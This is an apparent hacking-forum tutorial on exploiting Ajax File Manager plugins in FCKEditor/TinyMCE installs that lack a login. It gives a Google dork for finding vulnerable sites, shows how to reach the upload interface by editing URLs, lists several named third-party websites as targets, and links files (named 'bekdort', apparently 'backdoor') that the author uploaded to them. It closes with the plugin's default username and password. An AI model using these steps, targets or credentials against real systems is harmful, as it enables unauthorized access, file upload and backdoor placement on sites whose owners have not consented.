Ajax File Manager File Upload Vulnerability Mysterykid rwxr-xr-x 0 04.39

Filename	Ajax File Manager File Upload Vulnerability
Permission	rw-r--r--
Author	Mysterykid
Date and Time	04.39
Label
Action

AUTHOR : X-Cisadane a.k.a Dwi xD 

DESCRIPTIONS : Ajax File Manager is a Plug-ins which you can add on FCKEditor/TinyMCE on the CMS as a File Management, for example : Uploading File (Text, Image, dll), Create A New Folder, Copy, Cut, Delete File or Directory. File that can be uploaded is depend on The Website Configuration. Some Ajax File Manager configured without an authentification (No Login Form), So we can view directories and files on Ajax File Manager or upload/delete/cut/copy/paste/create new folder. 

HOW TO?
[1] Open Google Search Engine, Type the dork : inurl:/plugins/ajaxfilemanager/
[2] For Example you got : 
http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/jscripts/edit_area/reg_syntax/

Change the URL on your Browser into : http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

OR

http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/session/

Change the URL on your Browser into : http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php

[3] If the Ajax File Manager don't have a Login Form, so we can head up into File Manager directly and uploading file or whatever you can do.
Like this :
http://www.ziaislamic.com/BOOK-CMS/interfaces/fckeditor/editor/plugins/ajaxfilemanager/ajaxfilemanager.php
http://www.thebradshawscornershop.co.uk/scripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php
http://202.137.23.162/brantas_portal/assets/tinymce/plugins/ajaxfilemanager/ajaxfilemanager.php
http://www.apmsa.org.za/admin/scripts/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php

Results :
http://www.ziaislamic.com/BOOK-CMS/interfaces/uploaded/dwi/bekdort.txt
http://www.thebradshawscornershop.co.uk/images/dwi/bekdort.txt
http://lovegracia.com/tiny_mce/jscripts/tiny_mce/plugins/ajaxfilemanager/uploaded/dwi/bekdort.txt
http://202.137.23.162/brantas_portal/uploaded_docimage/dwi/bekdort.txt
http://www.apmsa.org.za/admin/scripts/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/uploaded/dwi/bekdort.txt

P.S : Default Password Ajax File Manager
Username:ajax
Password:123456